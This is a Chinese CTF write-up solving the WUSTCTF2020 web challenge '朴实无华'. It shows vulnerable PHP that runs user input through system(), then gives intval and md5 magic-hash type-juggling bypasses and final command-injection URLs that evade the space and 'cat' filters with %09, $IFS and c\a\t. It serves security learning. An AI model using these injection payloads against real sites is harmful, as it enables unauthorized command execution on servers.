Home WUSTCTF2020 朴实无华
Post
Cancel

WUSTCTF2020 朴实无华

第一层:robots.txt

User-agent: *
Disallow: /fAke_f1agggg.php

第二层:header头

image-20230102190519868

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

level 1

1
(intval($num) < 2020 && intval($num + 1) > 2021)

intval获取变量对的整数值,这里有两种方法都可以

1
2
3
4
5
6
7
8
9
10
<?php
$a = '1e11';
echo intval($a);
echo PHP_EOL;
echo intval($a+1);

$a = '0x9999';
echo intval($a);
echo PHP_EOL;
echo intval($a+1);

level 2

1
2
$md5=$_GET['md5'];
if ($md5==md5($md5))

md5加密前后都相等,这里参考网上的脚本和答案

1
2
3
4
5
6
7
8
9
10
11
import hashlib
i = 0
while True:
    text = '0e{}'.format(i)
    m = hashlib.md5(text.encode()).hexdigest()
    if m[0:2] == '0e' :
        if m[2:].isdigit():
            print(text,m)
            break
    i +=1
# 0e215962017

level 3

1
2
3
if(!strstr($get_flag," ")){
	$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
	system($get_flag);

(!strstr($get_flag,” “))

匹配到空格为FALSE,不能有空格

$IFS 在执行 ls$IFS/ 是可以的,到后面执行读取命令时,不知道为什么失效

str_ireplace(“cat”, “wctf2020”, $get_flag);

cat 替换成 wctf2020,执行的命令最好不要出现 cat,当然这里可以绕过

?num=0x9999&md5=0e215962017&get_flag=c\a\t%09fll*

?num=0x9999&md5=0e215962017&get_flag=tac%09fll*

image-20230102185754850

image-20230102190212349

This post is licensed under CC BY 4.0 by the author.